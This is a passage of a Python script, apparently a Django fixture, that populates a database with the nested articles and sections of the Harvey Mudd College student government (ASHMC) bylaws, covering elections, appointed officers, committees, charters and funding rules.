campus, ASHMC members shall not:\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=1,\n body=\"Display campaign signs or actively campaign within the dining hall.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=2,\n body=\"Deface or remove Dean of Students approved campaign signs posted in public areas on the HMC campus prior to the election to which they pertain.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=3,\n body=\"Vote or attempt to vote more than once in any given election.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=4,\n body=\"Interfere with any ASHMC member during the voting process.\",\n )\n\n section = Article.objects.create(\n parent=article,\n number=2,\n title=\"General Procedures\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=1,\n body=\"Election polls will be open during the normal hours for lunch and dinner on at least two consecutive days.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=2,\n body=\"The ASHMC Executive Assistant shall post signs on the dining hall to inform ASHMC members of the upcoming election.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=3,\n body=\"All ASHMC signs must contain the dates of the election, the place where the election is being held, and the hours during which the polls will be open.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=4,\n body=\"All dormitory presidents shall inform their dorm members of the upcoming election.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=5,\n body=\"The election shall be staffed by officers of the group holding the election or their designated representatives. Candidates in the election may not run the ballot boxes. People running the ballot boxes during elections are not allowed to recommend candidates, even if asked to do so by voters.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=6,\n body=\"Official ballots shall contain only legal candidates as specified in Article II of the ASHMC Constitution, and must have a write-in option, except in runoff elections.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=7,\n body=\"Students studying abroad may cast their votes by e-mail through the Dean of Students office.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=8,\n body=\"After quorum is met, the Vice President shall send out notification to the student body that quorum has been reached and that the elections will continue for one additional day during normal hours for lunch and dinner.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=9,\n body=\"A recount of votes shall be conducted in each election by the President of ASHMC, If this recount does not agree with the Vice President's initial count, both parties shall recount ballots until the two counts agree.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=10,\n body=\"Results will be announced no less than 24 and no more than 36 hours after the election has concluded. Any protest must be filed with the Judiciary Board chair within 24 hours of the announcement of the results.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=11,\n body=\"After an election, ballots shall remain intact for one week after the results have been announced. After this point, all ballots must be destroyed.\",\n )\n\n section = Article.objects.create(\n parent=article,\n number=3,\n title=\"Electronic Voting Procedures\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=1,\n body=\"In place of the process described in Section 2, any ASHMC election may be run with an electronic voting system, at the discretion of the officer responsible for the election. The system to be used must have been previously approved by Student Council.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=2,\n body=\"An electronic voting system must be approved by three-fourths majority vote of the entire membership of Student Council. They should consider whether the system is easy to use, anonymous, and secure against fraud. Approval of a system may later be withdrawn by a simple majority of Student Council.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=3,\n body=\"An electronic election begins when ASHMC members are notified that they may vote. The election ends at midnight (or other pre-specified time) after quorum is reached except that the election shall last at least 48 hours.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=4,\n body=\"Elections shall be announced by e-mail, and by other means as desired. E. The voting system shall be administered by the ASHMC secretary or his or her representative. No candidate in the election shall administer the voting system.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=5,\n body=\"The provisions of Section 2, Paragraphs F and G apply to electronic elections.\",\n )\n section = Article.objects.create(\n parent=article,\n number=4,\n title=\"Order of Yearly Elections\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=1,\n body=\"The first election for new officers shall be for the offices of Judiciary Board chair, Disciplinary Board chair, and all other ASHMC-elected and dormitory officers.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=2,\n body=\"The second election shall begin before commencement. This election shall contain any items over $1,500 in the next year's budget. This election shall also be for class officers under the following rules.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=1,\n body=\"Current dormitory presidents are responsible for holding elections for new dormitory officers. Those offices are president, treasurer, recycler and representatives to the ASHMC Social Committee, Athletics Committee, Food Committee, Committee for Activities Planning and any other elected positions that the dormitory has established.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=2,\n body=\"Current dormitory presidents shall notify their respective dormitories and solicit candidates for the upcoming election.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=3,\n body=\"Current dormitory presidents shall announce the candidates, and must have a write-in option, except in runoff elections. Eligible candidates for a dorm election are those students who have legitimately pulled into a room in that specific dorm during room draw of the current year.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=4,\n body=\"Eligible voters for a dorm election are those students who have legitimately pulled into a room in that specific dorm during room draw of the current year, seniors currently living in that dorm, and students who have not pulled into a room but have chosen to affiliate themselves with that dorm. A list of eligible voters shall be obtained from the Dormitory Affairs Committee chair following room draw. All eligible voters are entitled to one vote for each office.\",\n )\n\n article = Article.objects.create(\n parent=root,\n number=5,\n title=\"Appointed Positions\",\n )\n section = Article.objects.create(\n parent=article,\n number=1,\n body=\"As soon as is practical, the new Student Council shall appoint:\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=1,\n body=\"An ASHMC Executive Assistant (EA)\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=1,\n body=\"The EA reports to the President, Vice President and Treasurer (Executive Council) in that order.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=2,\n body=\"The duties of the EA shall be to\",\n )\n subsubsubsection = Article.objects.create(\n parent=subsubsection,\n number=1,\n body=\"Record the business of all the student council meetings and post the minutes within three days of those meetings.\",\n )\n subsubsubsection = Article.objects.create(\n parent=subsubsection,\n number=2,\n body=\"Be available to assist members of the executive council at any events pertinent to ASHMC.\",\n )\n subsubsubsection = Article.objects.create(\n parent=subsubsection,\n number=3,\n body=\"Be responsible for carrying out misc. tasks assigned by the Executive Council\",\n )\n subsubsubsection = Article.objects.create(\n parent=subsubsection,\n number=4,\n body=\"Manage ashmc@hmc.edu e-mail account (i.e. forward to the proper person)\",\n )\n subsubsubsection = Article.objects.create(\n parent=subsubsection,\n number=5,\n body=\"Be responsible for advertising all ASHMC sponsored activities and events.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=3,\n body=\" In the case that the Dean of Students office (DOS) is willing to donate work study hours, the EA position can be a work study job hired by the Executive Council and supervised by DOS. Otherwise, this position will be unpaid like other ASHMC positions.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=2,\n body=\"An ASHMC Historian.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=1,\n body=\"The ASHMC historian shall, in the historical records, try to capture the spirit of student life, past and present.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=2,\n body=\"The duties of the ASHMC Historian shall be to:\",\n )\n subsubsubsection = Article.objects.create(\n parent=subsubsection,\n number=1,\n body=\"Research and prepare written histories of the various traditions of Harvey Mudd College student life.\",\n )\n subsubsubsection = Article.objects.create(\n parent=subsubsection,\n number=2,\n body=\"Maintain written records of the various ASHMC and dormitory officials and chronicle the noteworthy events of their office.\",\n )\n subsubsubsection = Article.objects.create(\n parent=subsubsection,\n number=3,\n body=\"Maintain written records of important developments among the faculty and administration.\",\n )\n subsubsubsection = Article.objects.create(\n parent=subsubsection,\n number=4,\n body=\"Maintain written records of any other events that are deemed to be important.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=3,\n body=\"The ASHMC Historian shall be empowered to\",\n )\n subsubsubsection = Article.objects.create(\n parent=subsubsection,\n number=1,\n body=\"Appoint a staff as needed to fulfill the duties of the office.\",\n )\n subsubsubsection = Article.objects.create(\n parent=subsubsection,\n number=2,\n body=\"Receive the written minutes or summaries of the various committees.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=3,\n body=\"An ASHMC Film Director.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=1,\n body=\"The ASHMC film director shall preside over the regular, scheduled showing of films according to the wants and desires of the Harvey Mudd College community. The ASHMC film director shall decide on both a location and time for the films to be shown, as well as publicize the event beforehand.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=4,\n body=\"An ASHMC Recycling Director.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=1,\n body=\"The ASHMC recycling director shall be responsible for finding a representative from each dorm to assist in moving each dorm's recycling bin to the campus collection center each week. The ASHMC recycling director shall also act as a liaison to Facilities and Maintenance regarding recycling issues.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=5,\n body=\"An ASHMC Director of Student Security\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=1,\n body=\"The ASHMC director of Student Security shall be responsible for selecting members of ASHMC to be student security officers, and shall be responsible to the ASHMC Student Council for the proper functioning of ASHMC student security.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=6,\n body=\"An ASHMC Newspaper Editor.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=1,\n body=\"The ASHMC newspaper editor shall act as editor in chief for the ASHMC sponsored student newspaper.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=7,\n body=\"An ASHMC Food Committee Chair.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=1,\n body=\"The ASHMC food committee chair shall be chair of the Food Committee and be responsible to the ASHMC Student Council for its proper functioning.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=8,\n body=\"An ASHMC Students-L Moderator.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=1,\n body=\"The ASHMC students-l moderator shall be responsible for assuring that all messages sent to the students-l electronic mailing list conform to the official students-l policy listed in the Policies section of the student handbook.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=2,\n body=\"The students-l moderator shall receive a yearly stipend as determined by the Student Council.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=9,\n body=\"An ASHMC Volunteer Activities Coordinator.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=1,\n body=\"The duties of the ASHMC volunteer activities coordinator shall be to\",\n )\n subsubsubsection = Article.objects.create(\n parent=subsubsection,\n number=1,\n body=\"Hold monthly or bimonthly meetings open and advertised to the students, faculty and staff of Harvey Mudd College. Said meetings will describe upcoming opportunities to enrich the college community or the community at large through volunteer service. The first meeting of the school year shall be before McAlister Center's Volunteer Study Break.\",\n )\n subsubsubsection = Article.objects.create(\n parent=subsubsection,\n number=2,\n body=\"See to the upkeep and currency of the Volunteer Opportunities board, by removing outdated notices and posting new community service articles.\",\n )\n subsubsubsection = Article.objects.create(\n parent=subsubsection,\n number=3,\n body=\"Organize or find community members to organize traditional Harvey Mudd College volunteer events, such as but not limited to the Red Cross Blood Drive (both semesters), the Oxfam Fast for the Hungry (November), and Shoes that Fit (both semesters).\",\n )\n subsubsubsection = Article.objects.create(\n parent=subsubsection,\n number=4,\n body=\"Meet at least once a semester with the Dean of Students Office and the volunteer activities faculty contact to share ideas and discuss possible faculty and staff involvement. If no faculty contact exists, the ASHMC volunteer activities coordinator shall make a reasonable search for a new faculty contact.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=10,\n body=\"An ASHMC Alumni Board Representative.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=1,\n body=\"The duties of the ASHMC Alumni Board representative shall be to\",\n )\n subsubsubsection = Article.objects.create(\n parent=subsubsection,\n number=1,\n body=\"Be the student representative to the Alumni Board and be represented at a majority of the Alumni Board meetings.\",\n )\n subsubsubsection = Article.objects.create(\n parent=subsubsection,\n number=2,\n body=\"Report to Student Council on the results of all Alumni Board meetings.\",\n )\n subsubsubsection = Article.objects.create(\n parent=subsubsection,\n number=3,\n body=\"Work closely with all student government groups in order to best represent ASHMC to the Alumni Board.\",\n )\n subsubsubsection = Article.objects.create(\n parent=subsubsection,\n number=4,\n body=\"Promote communication between alumni and students.\",\n )\n subsubsubsection = Article.objects.create(\n parent=subsubsection,\n number=5,\n body=\"Promote the activities of the Alumni Office to the students.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=11,\n body=\"An ASHMC Representative to the Traffic Appeals Board.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=1,\n body=\"The ASHMC representative to the Traffic Appeals Board shall be responsible for presenting the opinions and concerns of ASHMC to the Traffic Appeals Board and participating in its regular business.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=12,\n body=\"An ASHMC Representative to the HMC Computer Committee.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=1,\n body=\"The ASHMC representative to the HMC Computer Committee shall be responsible for presenting the opinions and concerns of ASHMC to the HMC Computer Committee.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=13,\n body=\"An ASHMC Representative to the Student Relations Subcommittee of the Library Council.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=1,\n body=\"The ASHMC representative to the Student Relations Subcommittee of the Library Council shall be responsible for presenting the opinions and concerns of ASHMC to the Student Relations Subcommittee of the Library Council.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=14,\n body=\"Five ASHMC representatives to the Student Health Advisory Committee.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=1,\n body=\"The ASHMC representatives to the Student Health Advisory Committee shall be responsible for presenting the opinions and concerns of ASHMC to the Student Health Advisory Committee, Baxter Health Center and Monsour Counseling Center. The representatives shall also be responsible for promoting student health and wellness issues.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=15,\n body=\"Two ASHMC Representatives to the Teaching and Learning Committee.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=1,\n body=\"The ASHMC representatives to the Teaching and Learning Committee shall be responsible for presenting the opinions and concerns of ASHMC to the Teaching and Learning Committee.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=16,\n body=\"One ASHMC Representative to the Curriculum Committee.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=1,\n body=\"The ASHMC representative to the Curriculum Committee shall be responsible for presenting the opinions and concerns of ASHMC to the Curriculum Committee.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=17,\n body=\"An ASHMC Librarian\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=1,\n body=\"The ASHMC Librarian's duties shall include\",\n )\n subsubsubsection = Article.objects.create(\n parent=subsubsection,\n number=1,\n body=\"Organizing the ASHMC Library (the Joe Platt collection). This may include discarding unwanted material, devising a way to store the library that is in accordance with the wishes of ASHMC, and/or creating a system for the use of the library.\",\n )\n subsubsubsection = Article.objects.create(\n parent=subsubsection,\n number=2,\n body=\"Carrying out the wishes of the ASHMC council in regards to valuable books contained in the ASHMC library.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=18,\n body=\"Representative to \\\"Writing in the Curriculum\\\"\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=1,\n body=\"Representative's duties are to be a part of a committee whose purpose is to monitor and improve the quality and extent of writing throughout the curriculum.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=19,\n body=\"Representative to the 5-College Environmental Review Committee\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=1,\n body=\" Representative's duties are to be a part of the 5-College Environmental Review Committee.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=20,\n body=\"Representative to the Board of Trustees Educational Planning Committee\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=1,\n body=\"Be the student representative to the Educational Planning Committee of the Harvey Mudd College Board of Trustees.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=2,\n body=\"Attend all appropriate student government meetings in order to keep informed of all pertinent developments.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=3,\n body=\"Report to Student Council on the results of all Board of Trustees Educational Planning Committee meetings.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=4,\n body=\"Work closely with all student government groups in order to best represent ASHMC to the Board of Trustees.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=5,\n body=\"Work with the student representative to the Board of Trustees Student Affairs Committee and the student representative to the Board of Trustees Campus Planning and Physical Plant Committee to promote communication between the students and the BOT.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=6,\n body=\"Present to ASHMC Council ideas for promoting communication between students and the BOT.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=21,\n body=\"Representative to the Board of Trustees Student Affairs Committee\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=1,\n body=\"Be the student representative to the Student Affairs Committee of the Harvey Mudd College Board of Trustees.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=2,\n body=\"Attend all appropriate student government meetings in order to keep informed of all pertinent developments.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=3,\n body=\"Report to Student Council on the results of all Board of Trustees Student Affairs Committee meetings.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=4,\n body=\"Work closely with all student government groups in order to best represent ASHMC to the Board of Trustees.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=5,\n body=\"Work with the student representative to the Board of Trustees Educational Planning Committee and the student representative to the Board of Trustees Campus Planning and Physical Plant Committee to promote communication between the students and the BOT.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=6,\n body=\"Present to ASHMC Council ideas for promoting communication between students and the BOT.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=22,\n body=\"Representative to the Board of Trustees Campus Planning and Physical Plant Committee\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=1,\n body=\"Be the student representative to the Campus Planning and Physical Plant Committee of the Harvey Mudd College Board of Trustees.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=2,\n body=\"Attend all appropriate student government meetings in order to keep informed of all pertinent developments.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=3,\n body=\"Report to Student Council on the results of all Board of Trustees Campus Planning and Physical Plant Committee meetings.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=4,\n body=\"Work closely with all student government groups in order to best represent ASHMC to the Board of Trustees.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=5,\n body=\"Work with the student representative to the Board of Trustees Educational Planning Committee and the student representative to the Board of Trustees Student Affairs Committee to promote communication between the students and the BOT.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=6,\n body=\"Present to ASHMC Council ideas for promoting communication between students and the BOT.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=7,\n body=\"Be a nonvoting member of the ASHMC Dormitory Affairs Committee.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=23,\n body=\"Representative to Career Services\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=1,\n body=\"The representative will work with the Career Services Director to provide student input and ideas for improving the effectiveness of Career Services.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=24,\n body=\"Representative to the committee on Student Personal Development\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=1,\n body=\"The representative will serve on the Committee on Student Personal Development, present to the committee issues that are relevant to the student body, and report to ASHMC on the activities of the committee when appropriate.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=25,\n body=\"Representative to Campus Party Security Committee\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=1,\n body=\"The CPS Chair shall chair weekly meetings with appointed members from each dorm to discuss party security issues.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=2,\n body=\"The CPS Chair will report back to ASHMC regarding decisions made by the CPS Committee.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=3,\n body=\"The CPS Chair shall ensure that parties are using the most recent security measures that have been ratified by the CPS Committee.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=26,\n body=\"Representative to the Claremont City Council\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=1,\n body=\"The Representative to the Claremont City Council shall be responsible for presenting the opinions and concerns of ASHMC to the City of Claremont Council members.\",\n )\n section = Article.objects.create(\n parent=article,\n number=2,\n body=\"As soon as is practical, the new Student Council shall:\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=1,\n body=\"Approve the ASHMC Yearbook editor\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=1,\n body=\"The yearbook editor shall act as editor in chief of the yearbook and shall act in accordance with all guidelines set forth in Article X of the bylaws.\"\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=2,\n body=\"The yearbook editor is responsible for ensuring that the yearbook is published and distributed in a timely manner.\"\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=3,\n body=\"The yearbook editor shall be responsible for notifying the Student Council if the contract between ASHMC and the publisher has changed or been broken in any way or if any charges are incurred under that contract beyond those nominally necessary for preparation and publication of the yearbook. Such notice shall be given before the next council meeting occurring after the editor becomes aware of such charge or change in the contract.\"\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=4,\n body=\"The yearbook editor shall receive a yearly stipend as determined by the Student Council.\"\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=5,\n body=\"The yearbook editor shall make regular reports on the status of the yearbook as specified in Article X, Section 3.\"\n )\n subsection = Article.objects.create(\n parent=section,\n number=2,\n body=\"Approve the Orientation Lookbook editor\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=1,\n body=\"The Lookbook editor will be appointed by the orientation directors prior to the beginning of the midterm break of spring semester.\"\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=2,\n body=\"The Lookbook editor must be approved by a majority vote of Student Council.\"\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=3,\n body=\"The Lookbook editor shall act as editor in chief of the lookbook and shall act in accordance with all guidelines set forth in Article X of the bylaws.\"\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=4,\n body=\"The Lookbook editor can only be removed by a majority vote of Student Council.\"\n )\n section = Article.objects.create(\n parent=article,\n number=3,\n body=\"The Student Council shall require appointed officers to appear before the Council or send a status report to the Council at least once a year.\",\n )\n section = Article.objects.create(\n parent=article,\n number=4,\n body=\"During the course of the year, should the Student Council determine that an appointed officer is not properly fulfilling the duties of that office, the officer may be removed by a three-fourths vote of the Student Council.\",\n )\n\n article = Article.objects.create(\n parent=root,\n number=6,\n title=\"Committees\",\n )\n section = Article.objects.create(\n parent=article,\n number=1,\n title=\"Four-Class Competition Committee:\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=1,\n body=\"The 4-Class Competition Committee shall consist of the class presidents and class vice presidents. The senior class president shall act as chair of the committee.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=2,\n body=\"Duties of Officers\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=1,\n body=\"The chair shall run committee meetings, and be responsible for the proper functioning of the 4-Class Competition Committee.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=3,\n body=\"Duties of the 4-Class Competition Committee\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=1,\n body=\"The 4-Class Competition Committee shall provide for the planning and promotion of the 4-Class Competition and for the maintenance of all ASHMC property used in connection with the 4-Class Competition.\"\n )\n\n section = Article.objects.create(\n parent=article,\n number=2,\n title=\"Food Committee:\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=1,\n body=\"The Food Committee shall consist of an appointed chair and a representative from each dormitory.\"\n )\n subsection = Article.objects.create(\n parent=section,\n number=2,\n body=\"The Food Committee shall be responsible for representing and promoting the interest of ASHMC to the food service. Its duties shall include:\"\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=1,\n body=\"Maintaining communication between the food service and ASHMC by meeting regularly. Meetings shall be announced beforehand.\"\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=2,\n body=\"Conveying students' satisfaction, dissatisfaction, and suggestions regarding specific aspects of the food service to the director.\"\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=3,\n body=\"Being involved in the planning and implementation, when appropriate, of special events within the board program.\"\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=4,\n body=\"Reporting to ASHMC on matters of importance relating to the board program. Minutes of Food Committee meetings shall be posted within three days of the meeting.\"\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=5,\n body=\"Being aware of specific provisions in the food service contract, and reporting violations when they occur to the appropriate administrative official at HMC.\"\n )\n\n\n article = Article.objects.create(\n parent=root,\n number=7,\n title=\"Student Organization Charters\",\n )\n section = Article.objects.create(\n parent=article,\n number=1,\n body=\"A charter informs the Student Council of an organization's purpose, method and structure. Student Council should include in its consideration of a charter questions of the organization's uniqueness, student support, efficiency and likelihood of continuation.\",\n )\n section = Article.objects.create(\n parent=article,\n number=2,\n body=\"All HMC organizations that wish to be funded in the ASHMC regular yearly budget must have a charter approved by a majority of Student Council and on file with the ASHMC treasurer.\",\n )\n section = Article.objects.create(\n parent=article,\n number=3,\n body=\"The charter for an organization must include the following paragraph or a substitute suitable to Student Council: \\\"No member or officer of this ASHMC chartered organization shall be selected, dismissed, or discriminated against on the basis of age, race, religion, color, creed, sex, sexual orientation, national origin or political affiliation.\\\"\",\n )\n section = Article.objects.create(\n parent=article,\n number=4,\n body=\"Student Council reserves the right to review and/or revoke any organization's charter, provided that officers of that organization have had the opportunity to participate in Council's review.\",\n )\n section = Article.objects.create(\n parent=article,\n number=5,\n body=\"Each ASHMC chartered organization must submit a charter at the yearly budgeting meeting in order for that organization's charter to be renewed for the following year.\",\n )\n\n article = Article.objects.create(\n parent=root,\n number=8,\n title=\"Financial Policy\",\n )\n section = Article.objects.create(\n parent=article,\n number=1,\n body=\"The only persons authorized to charge goods and services to ASHMC are those persons specifically designated by Student Council to do so or ASHMC officers implementing ASHMC business.\",\n )\n section = Article.objects.create(\n parent=article,\n number=2,\n body=\"Members of ASHMC shall not use appropriated ASHMC funds for purposes other than those for which the funds were appropriated.\",\n )\n section = Article.objects.create(\n parent=article,\n number=3,\n body=\"Student body fees may be changed by a majority vote of ASHMC, subject to approval by the Board of Trustees.\",\n )\n section = Article.objects.create(\n parent=article,\n number=4,\n title=\"Default Appropriations\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=1,\n body=\"Each dormitory is entitled to receive $10.00 per dormitory affiliate per semester from ASHMC, payable on demand.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=1,\n body=\"All ASHMC members living on campus must be affiliated with the dormitory in which they reside at the beginning of each semester. This affiliation is set seven days after the first day of classes of the semester.\",\n )\n subsubsection = Article.objects.create(\n parent=subsection,\n number=2,\n body=\"All ASHMC members living off campus must specify dorm affiliation within 14 days of the first day of classes of the semester. It is assumed that affiliation will remain the same for both semesters unless informed otherwise. The choice to not affiliate with a dorm will result in the forfeiture of this allocation. In this case, the allocation will be returned to the ASHMC general budget.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=2,\n body=\"Each class is entitled to receive $50.00 per semester from ASHMC, payable on demand.\",\n )\n section = Article.objects.create(\n parent=article,\n number=5,\n body=\"ASHMC property may be loaned or rented to members of The Claremont Colleges under terms to be specified and regulated by the member or members of ASHMC responsible for such property, subject to approval by the ASHMC Student Council.\",\n )\n section = Article.objects.create(\n parent=article,\n number=6,\n body=\"ASHMC members shall not violate said terms, nor shall anyone use ASHMC property without first obtaining authorization in the prescribed manner.\",\n )\n section = Article.objects.create(\n parent=article,\n number=7,\n body=\"The ASHMC treasurer shall compile a precise and up-to-date list of all ASHMC property from individual clubs and organizations worth more than $50.00 as well as a list of those members, clubs and organizations responsible for its safekeeping.\",\n )\n section = Article.objects.create(\n parent=article,\n number=8,\n title=\"Priority of Funding\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=1,\n body=\"Fixed charges as stated in the constitution shall receive top priority in distribution of funds. The groups receiving these funds may request more by following the procedure outlined below.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=2,\n body=\"Debt service, plant expense and other necessary payments shall be paid before budget requests are received. These shall be referred to as fixed charges along with subsection A above.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=3,\n body=\"Major activities oriented toward HMC students and/or maintenance of ASHMC property shall receive first consideration for funding of organizations. These shall be referred to as major HMC organizations.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=4,\n body=\"Small Harvey Mudd College Clubs whose membership is open to all HMC students are also eligible for funding. These shall be referred to as minor HMC organizations.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=5,\n body=\"Five-college activities and/or organizations which by nature appeal to a variety of HMC students shall be eligible for funding. These shall be referred to as major 5-College organizations.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=6,\n body=\"If an organization which is eligible for funding forms in the middle of the year, the above procedure shall be followed as soon as possible. Such an organization shall understand that sufficient funds may not be available after the budget has been made.\",\n )\n section = Article.objects.create(\n parent=article,\n number=9,\n title=\"Guidelines for Funds\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=1,\n body=\"Fixed charges will be paid in full or according to agreements made.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=2,\n body=\"Major HMC organizations shall receive as much funding as Student Council deems proper and necessary.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=3,\n body=\"Minor HMC organizations may receive as much money as Student Council deems necessary and proper. The Student Council may suggest an appropriate amount of dues be collected by such organizations.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=4,\n body=\"Major 5-College organizations may receive a percentage of their total proposed budget proportional to the percentage of HMC students involved.\",\n )\n subsection = Article.objects.create(\n parent=section,\n number=5,\n body=\"Any member of ASHMC who feels the activity or group of his/her major interest should be funded, and that group or activity was not allocated money by the Student Council, has the right to submit a written request asking that a portion of his/her student body fees go to that group. Only one such request per student shall be considered. The name of the student requesting the money shall be kept confidential upon request.\",\n )\n subsection = 